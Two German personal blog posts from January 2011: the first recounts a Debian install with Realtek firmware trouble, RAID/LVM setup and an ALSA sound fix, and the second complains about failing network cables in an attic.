Nach dem Herunterladen eines Netinstall-Images aus den täglichen Snapshots und dessen Brennen auf CD wurde mir nach dem Boot angeboten, den graphischen oder den konsolenorientierten Installer zu starten, wobei ich mich für letzteres entschied; danach wurde ich durch die Ersteinrichtung geführt, bis ... tatsächlich eine fehlende Firmware (rtl8168d-1.fw) gefunden wurde, sinnigerweise ausgerechnet für die (Realtek-)Netzwerkkarte (ohne die sich ein Netinstall dann vermutlich nicht so richtig erfolgreich gestalten dürfte). Glücklicherweise hatte ich mich bereits vorher informiert, wo Debian die nicht-freie Firmware jetzt versteckt hat, so daß ich den entsprechen Tarball herunterladen und via USB-Stick bereitstellen konnte. Das half aber nicht; weder der Tarball noch die ausgepackten Debs konnten den Installer glücklich machen. Weitere Suche mit dem Namen der vermißten Firmware führte dann zu einem Bugreport und dem entsprechenden Firmware-Paket mit Realtek-Firmware; ich habe dann entsprechend das dort verlinkte Tar-Archiv heruntergeladen, ausgepackt und - nach mehreren erfolglosen Versuchen - die Realtek-Firmware in das Root-Verzeichnis des USB-Sticks gepackt. Jetzt war der Installer glücklich.

Im weiteren Verlauf gelang es mir allerdings dennoch nicht, eine Netzwerkverbindung aufzubauen, was die weitere Installation etwas hinderte, insbesondere soweit Repositories eingebunden und Sicherheitsupdates geladen werden sollte; nach deren Abschluss und einem Reboot war jedoch eine Netzwerkverbindung vorhanden. Hilfreich für den absoluten Anfänger *hüstel* ist es übrigens in solchen Fällen zu wissen, daß man mit Alt-4 ein Terminal mit den Logs und Fehlermeldungen angezeigt bekommt, mit Alt-1 wieder zurückkomt und ggf. auf einem der anderen TTYs eine Shell starten kann. Dokumentiert ist das im Install-Manual.

[Update vom 23.01.2011: Offenbar handelt es sich bei dem Problem mit der Firmware für die Realtek-Netzwerkkarte noch um einen Bug, der mit dem ersten Point-Release behoben werden soll - sowohl hinsichtlich der Probleme des Installers, die Firmware auf dem USB-Stick zu finden, als auch hinsichtlich der fehlenden Netzwerkkonnektivität nach dem Finden der Firmware.]

Der Rest der Installation bis zum ersten Reboot verlief ereignislos, gut unterstützt und dokumentiert - es gelang mir auch auf Anhieb (naja, mit einigen Versuchen), aus meinen beiden Festplatten ein RAID 1 (mit gesonderter Bootpartition) zu erstellen, darüber LVM zu legen, die einzelnen Logical Volumes anzulegen und zu formatieren, ohne daß ich (abgesehen von Hinweisen zu der grundsätzlichen Auswahl des Filesystems und der Partitionierung) irgendeine Unterstützung via IRC gebraucht hätte.

Nach dem Reboot saß ich dann zum ersten Mal vor einer graphischen Konsole mit Gnome - und ich muß sagen, das gefällt mir bisher gut. Momentan muß ich mich dort noch zurechtfinden, aber immerhin kann die Maschine schonmal MP3s abspielen (nächster Eintrag auf der ToDo-Liste: Musikbibliothek mit korrekten MP3-Tags versehen ... *seufz*).

Auch der Weg dorthin war allerdings nicht ganz ohne Probleme, denn ich mußte dem System noch beibringen, die On-Board-Soundkarte richtig anzusteuern. Insoweit hilfreich war nach längerem Googeln - wie gesagt, bei solchen Dingen war ich bislang völlig ahnungslos - ein Eintrag im Ubuntuusers-Wiki, dem ich die Lösung für mein Problem entnehmen konnte: die Datei /etc/modprobe.d/alsa-base.conf möchte um den Eintrag options snd-hda-intel model=auto ergänzt werden. Statt dem dort empfohlenen Reboot (das erschien mir so ... Windows-artig) habe ich mich dann auf ein modprobe snd-hda-intel beschränkt - und auch das hat genügt.

Jetzt muß “nur noch” alles eingerichtet werden - insbesondere deshalb bestimmt ein großer Spaß, weil ich nach dem Einrichten des Basis-Systems den Fehler gemacht hatte, die zu installierenden weiteren Pakete mittels tasksel auszuwählen. Für den Desktop, von dem ich bekanntlich keine Ahnung habe, mag das noch eine gute Idee gewesen sein, aber der Rest - Mailserver, Webserver, Datenbankserver, ... - entspricht nun wirklich gar nicht meinen (teilweise sicherlich speziellen) Vorstellungen. Also werde ich das in den nächsten Tagen einfach neu machen.

Insgesamt muß ich sagen, daß meine erste Debian-Installation (auf aktueller Hardware) mich sehr positiv überrascht hat.

Der einzige Punkt, bei dem ich mir mehr Dokumentation gewünscht hätte, war die richtige Vorgehensweise, um dem Installer die fehlende Firmware unterzuschieben. Schön zu wissen, daß man sich .debs herunterladen (die dem Installer aber AFAIS nicht helfen, also nur für Updates hilfreich sein dürften) oder die notwendige Firmware “bspw. via USB-Stick” bereitgestellt werden kann; noch schöner wäre aber zu erläutern, wo und wie man ggf. die einzelnen Firmware-Dateien findet und wo genau auf dem Stick sie dann bereitgestellt werden sollen. (Vielleicht habe ich die entsprechende Doku einfach nicht gefunden, das glaube ich in diesem Fall aber noch nicht einmal.) Der Kampf mit der Soundkarte dürfte hingegen für jemanden, der so ungefähr weiß, was er tut, nicht problematisch sein; die Anleitung im Ubuntuusers-Wiki ist auch völlig hinreichend. (Ob man sie aus der Installationsanleitung verlinken sollte, sei dahingestellt; ich habe, ehrlich gesagt, nicht einmal nachgeschaut, ob das nicht vielleicht sogar der Fall ist.)

[Update vom 23.01.2011: Vermutlich ist die Doku über das Bereitstellen zusätzlicher Firmware völlig korrekt und das Problem besteht im Installer bzw. dem konkreten Firmware-Paket. Siehe dazu auch die Errata-Seite des Debian-Installers.]

New year, same sh*t

thh@inter.net (Thomas Hochstein) — Mon, 17 Jan 2011 17:13:00 +0100

Letztes Jahr hatte mich am Abend des letzten Urlaubstag ein Ausfall meines heimischen Servers erwischt; Ursache war ein Defekt des Netzwerkkabels, das vor Zeiten einmal der Einfachheit halber über den Dachboden verlegt worden war. Ursache unklar, obwohl aus meiner Sicht bereits damals schon viel für den Einzug eines Mitbewohners dort oben und dessen Verantwortlichkeit gesprochen hat. Danach ist die Sache etwas im Sande verlaufen.

Gelöst ist das Problem aber offensichtlich nicht, denn was auch immer die Ursache ist, sie breitet sich aus: seit heute hat auch mein dort noch vorhandener Desktoprechner kein Netz mehr. Auch dort liegt’s am Netzwerkkabel. Mag ja sein, daß die Kabel damals vor gut 10 Jahren einfach schlecht verlegt wurden und nun allmählich ausfallen, aber irgendwie mag ich daran als Ursache nicht so recht glauben ... Ärgerlich ist’s ursachenunabhängig allemal, vor allem, weil dort oben auch die Telefonkabel verlegt sind. Nun denn, we’ll see.